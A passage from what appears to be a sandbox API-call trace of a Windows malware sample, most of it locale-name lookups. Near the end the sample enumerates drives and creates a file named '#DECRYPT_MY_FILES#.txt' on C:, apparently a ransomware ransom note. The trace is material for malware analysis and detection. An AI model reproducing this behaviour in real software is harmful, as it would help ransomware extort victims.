lpLocaleName="he-IL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hebrew") returned 7 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="hu-HU", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hungarian") returned 10 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="is-IS", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Icelandic") returned 10 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="it-IT", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Italian") returned 8 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="ja-JP", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Japanese") returned 9 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="ko-KR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Korean") returned 7 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="nl-NL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Dutch") returned 6 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="nb-NO", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Norwegian (Bokmål)") returned 19 [0031.551] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: lpLocaleName="pl-PL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Polish") returned 7 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="pt-BR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Portuguese") returned 11 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="rm-CH", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Romansh") returned 8 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="ro-RO", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Romanian") returned 9 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="ru-RU", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Russian") returned 8 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="hr-HR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Croatian") returned 9 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="sk-SK", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Slovak") returned 7 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="sq-AL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Albanian") returned 9 [0031.552] GetLastError () returned 0x0 [0031.552] SetLastError (dwErrCode=0x0) [0031.552] GetLocaleInfoEx (in: lpLocaleName="sv-SE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Swedish") returned 8 [0031.552] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="th-TH", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Thai") returned 5 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="tr-TR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Turkish") returned 8 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="ur-PK", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Urdu") returned 5 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="id-ID", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Indonesian") returned 11 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="uk-UA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Ukrainian") returned 10 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="be-BY", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Belarusian") returned 11 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="sl-SI", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Slovenian") returned 10 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="et-EE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Estonian") returned 9 [0031.553] GetLastError () returned 0x0 [0031.553] SetLastError (dwErrCode=0x0) [0031.553] GetLocaleInfoEx (in: lpLocaleName="lv-LV", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Latvian") returned 8 [0031.553] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="lt-LT", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Lithuanian") returned 11 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="tg-Cyrl-TJ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tajik (Cyrillic)") returned 17 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="fa-IR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Persian") returned 8 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="vi-VN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Vietnamese") returned 11 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="hy-AM", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Armenian") returned 9 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="az-Latn-AZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Azeri (Latin)") returned 14 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="eu-ES", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Basque") returned 7 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="hsb-DE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Upper Sorbian") returned 14 [0031.554] GetLastError () returned 0x0 [0031.554] SetLastError (dwErrCode=0x0) [0031.554] GetLocaleInfoEx (in: lpLocaleName="mk-MK", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Macedonian (FYROM)") returned 19 [0031.554] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="tn-ZA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Setswana") returned 9 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="xh-ZA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="isiXhosa") returned 9 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="zu-ZA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="isiZulu") returned 8 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="af-ZA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Afrikaans") returned 10 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="ka-GE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Georgian") returned 9 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="fo-FO", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Faroese") returned 8 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="hi-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hindi") returned 6 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.555] GetLocaleInfoEx (in: lpLocaleName="mt-MT", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Maltese") returned 8 [0031.555] GetLastError () returned 0x0 [0031.555] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="se-NO", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="ms-MY", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Malay") returned 6 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="kk-KZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kazakh") returned 7 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="ky-KG", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kyrgyz") returned 7 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="sw-KE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kiswahili") returned 10 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="tk-TM", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Turkmen") returned 8 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="uz-Latn-UZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Uzbek (Latin)") returned 14 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="tt-RU", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tatar") returned 6 [0031.556] GetLastError () returned 0x0 [0031.556] SetLastError (dwErrCode=0x0) [0031.556] GetLocaleInfoEx (in: lpLocaleName="bn-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bengali") returned 8 [0031.556] GetLastError () returned 0x0 [0031.557] SetLastError (dwErrCode=0x0) [0031.557] GetLocaleInfoEx (in: lpLocaleName="pa-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Punjabi") returned 8 [0031.558] GetLastError () returned 0x0 [0031.558] SetLastError (dwErrCode=0x0) [0031.558] GetLocaleInfoEx (in: lpLocaleName="gu-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Gujarati") returned 9 [0031.558] GetLastError () returned 0x0 [0031.558] SetLastError (dwErrCode=0x0) [0031.558] GetLocaleInfoEx (in: lpLocaleName="or-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Oriya") returned 6 [0031.558] GetLastError () returned 0x0 [0031.558] SetLastError (dwErrCode=0x0) [0031.558] GetLocaleInfoEx (in: lpLocaleName="ta-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tamil") returned 6 [0031.558] GetLastError () returned 0x0 [0031.558] SetLastError (dwErrCode=0x0) [0031.558] GetLocaleInfoEx (in: lpLocaleName="te-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Telugu") returned 7 [0031.558] GetLastError () returned 0x0 [0031.558] SetLastError (dwErrCode=0x0) [0031.558] GetLocaleInfoEx (in: lpLocaleName="kn-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kannada") returned 8 [0031.558] GetLastError () returned 0x0 [0031.558] SetLastError (dwErrCode=0x0) [0031.558] GetLocaleInfoEx (in: lpLocaleName="ml-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Malayalam") returned 10 [0031.558] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="as-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Assamese") returned 9 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="mr-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Marathi") returned 8 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="sa-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sanskrit") returned 9 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="mn-MN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mongolian (Cyrillic)") returned 21 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="bo-CN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tibetan") returned 8 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="cy-GB", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Welsh") returned 6 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="km-KH", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Khmer") returned 6 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="lo-LA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Lao") returned 4 [0031.559] GetLastError () returned 0x0 [0031.559] SetLastError (dwErrCode=0x0) [0031.559] GetLocaleInfoEx (in: lpLocaleName="gl-ES", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Galician") returned 9 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="kok-IN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Konkani") returned 8 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="syr-SY", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Syriac") returned 7 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="si-LK", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sinhala") returned 8 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="iu-Cans-CA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Inuktitut (Syllabics)") returned 22 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="am-ET", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Amharic") returned 8 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="ne-NP", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Nepali") returned 7 [0031.560] GetLastError () returned 0x0 [0031.560] SetLastError (dwErrCode=0x0) [0031.560] GetLocaleInfoEx (in: lpLocaleName="fy-NL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Frisian") returned 8 [0031.561] GetLastError () returned 0x0 [0031.561] SetLastError (dwErrCode=0x0) [0031.561] GetLocaleInfoEx (in: lpLocaleName="ps-AF", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Pashto") returned 7 [0031.561] GetLastError () returned 0x0 [0031.561] SetLastError (dwErrCode=0x0) [0031.561] GetLocaleInfoEx (in: lpLocaleName="fil-PH", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Filipino") returned 9 [0031.561] GetLastError () returned 0x0 [0031.561] SetLastError (dwErrCode=0x0) [0031.561] GetLocaleInfoEx (in: lpLocaleName="dv-MV", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Divehi") returned 7 [0031.561] GetLastError () returned 0x0 [0031.561] SetLastError (dwErrCode=0x0) [0031.561] GetLocaleInfoEx (in: lpLocaleName="ha-Latn-NG", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hausa (Latin)") returned 14 [0031.561] GetLastError () returned 0x0 [0031.561] SetLastError (dwErrCode=0x0) [0031.561] GetLocaleInfoEx (in: lpLocaleName="yo-NG", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Yoruba") returned 7 [0031.561] GetLastError () returned 0x0 [0031.561] GetLocaleInfoEx (in: lpLocaleName="quz-BO", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Quechua") returned 8 [0031.561] GetLastError () returned 0x0 [0031.561] GetLocaleInfoEx (in: lpLocaleName="nso-ZA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sesotho sa Leboa") returned 17 [0031.561] GetLastError () returned 0x0 [0031.561] GetLocaleInfoEx (in: lpLocaleName="ba-RU", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bashkir") returned 8 [0031.561] GetLastError () returned 0x0 [0031.561] GetLocaleInfoEx (in: lpLocaleName="lb-LU", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Luxembourgish") returned 14 [0031.561] GetLastError () returned 0x0 [0031.561] GetLocaleInfoEx (in: lpLocaleName="kl-GL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Greenlandic") returned 12 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="ig-NG", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Igbo") returned 5 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="ii-CN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Yi") returned 3 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="arn-CL", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mapudungun") returned 11 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="moh-CA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mohawk") returned 7 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="br-FR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Breton") returned 7 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="ug-CN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Uyghur") returned 7 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="mi-NZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Maori") returned 6 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="oc-FR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Occitan") returned 8 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="co-FR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Corsican") returned 9 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="gsw-FR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Alsatian") returned 9 [0031.562] GetLastError () returned 0x0 [0031.562] GetLocaleInfoEx (in: lpLocaleName="sah-RU", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Yakut") returned 6 [0031.562] GetLastError () returned 0x0 [0031.563] GetLocaleInfoEx (in: lpLocaleName="qut-GT", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="K'iche") returned 7 [0031.563] GetLastError () returned 0x0 [0031.563] GetLocaleInfoEx (in: lpLocaleName="rw-RW", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kinyarwanda") returned 12 [0031.563] GetLastError () returned 0x0 [0031.563] GetLocaleInfoEx (in: lpLocaleName="wo-SN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Wolof") returned 6 [0031.563] GetLastError () returned 0x0 [0031.563] GetLocaleInfoEx (in: lpLocaleName="prs-AF", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Dari") returned 5 [0031.563] GetLastError () returned 0x0 [0031.563] GetLocaleInfoEx (in: lpLocaleName="gd-GB", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Scottish Gaelic") returned 16 [0031.573] GetLastError () returned 0x0 [0031.573] GetLocaleInfoEx (in: lpLocaleName="ar-IQ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Arabic") returned 7 [0031.573] GetLastError () returned 0x0 [0031.573] GetLocaleInfoEx (in: lpLocaleName="zh-CN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Chinese (Simplified)") returned 21 [0031.573] GetLastError () returned 0x0 [0031.573] GetLocaleInfoEx (in: lpLocaleName="de-CH", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="German") returned 7 [0031.573] GetLastError () returned 0x0 [0031.573] GetLocaleInfoEx (in: lpLocaleName="en-GB", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="English") returned 8 [0031.573] GetLastError () returned 0x0 [0031.573] GetLocaleInfoEx (in: lpLocaleName="es-MX", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Spanish") returned 8 [0031.574] GetLastError () returned 0x0 [0031.574] GetLocaleInfoEx (in: lpLocaleName="fr-BE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="French") returned 7 [0031.574] GetLastError () returned 0x0 [0031.574] GetLocaleInfoEx (in: lpLocaleName="it-CH", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Italian") returned 8 [0031.574] GetLastError () returned 0x0 [0031.574] GetLocaleInfoEx (in: lpLocaleName="nl-BE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Dutch") returned 6 [0031.574] GetLastError () returned 0x0 [0031.574] GetLocaleInfoEx (in: lpLocaleName="nn-NO", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Norwegian (Nynorsk)") returned 20 [0031.575] GetLastError () returned 0x0 [0031.575] GetLocaleInfoEx (in: lpLocaleName="pt-PT", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Portuguese") returned 11 [0031.575] GetLastError () returned 0x0 [0031.575] GetLocaleInfoEx (in: lpLocaleName="sr-Latn-CS", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Serbian (Latin)") returned 16 [0031.575] GetLastError () returned 0x0 [0031.575] GetLocaleInfoEx (in: lpLocaleName="sv-FI", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Swedish") returned 8 [0031.575] GetLastError () returned 0x0 [0031.575] GetLocaleInfoEx (in: lpLocaleName="az-Cyrl-AZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Azeri (Cyrillic)") returned 17 [0031.576] GetLastError () returned 0x0 [0031.576] GetLocaleInfoEx (in: lpLocaleName="dsb-DE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Lower Sorbian") returned 14 [0031.576] GetLastError () returned 0x0 [0031.576] GetLocaleInfoEx (in: lpLocaleName="se-SE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0031.576] GetLastError () returned 0x0 [0031.576] GetLocaleInfoEx (in: lpLocaleName="ga-IE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Irish") returned 6 [0031.576] GetLocaleInfoEx (in: lpLocaleName="ms-BN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Malay") returned 6 [0031.576] GetLocaleInfoEx (in: lpLocaleName="uz-Cyrl-UZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Uzbek (Cyrillic)") returned 17 [0031.576] GetLocaleInfoEx (in: lpLocaleName="bn-BD", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bengali") returned 8 [0031.577] GetLocaleInfoEx (in: lpLocaleName="mn-Mong-CN", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mongolian (Traditional Mongolian)") returned 34 [0031.577] GetLocaleInfoEx (in: lpLocaleName="iu-Latn-CA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Inuktitut (Latin)") returned 18 [0031.580] GetLogicalDriveStringsA (in: nBufferLength=0x100, lpBuffer=0x42f520 | out: lpBuffer="C:\\") returned 0x4 [0031.580] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0031.580] GetLastError () returned 0x0 [0031.580] lstrlenA (lpString="C:\\") returned 3 [0031.580] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8237e8 [0031.580] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.580] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.580] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.580] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x38) returned 0x813378 [0031.580] AreFileApisANSI () returned 1 [0031.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81b400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0031.580] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x36) returned 0x81aa30 [0031.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81b400, cbMultiByte=-1, lpWideCharStr=0x81aa30, cchWideChar=27 | out: lpWideCharStr="C:\\\\#DECRYPT_MY_FILES#.txt") returned 27 [0031.581] CreateFileW (lpFileName="C:\\\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42e898, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0031.582] GetFileType (hFile=0x74) returned 0x1 [0031.582] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81aa30 | out: hHeap=0x7f0000) returned 1 [0031.582] RtlAllocateHeap (HeapHandle=0x7f0000, 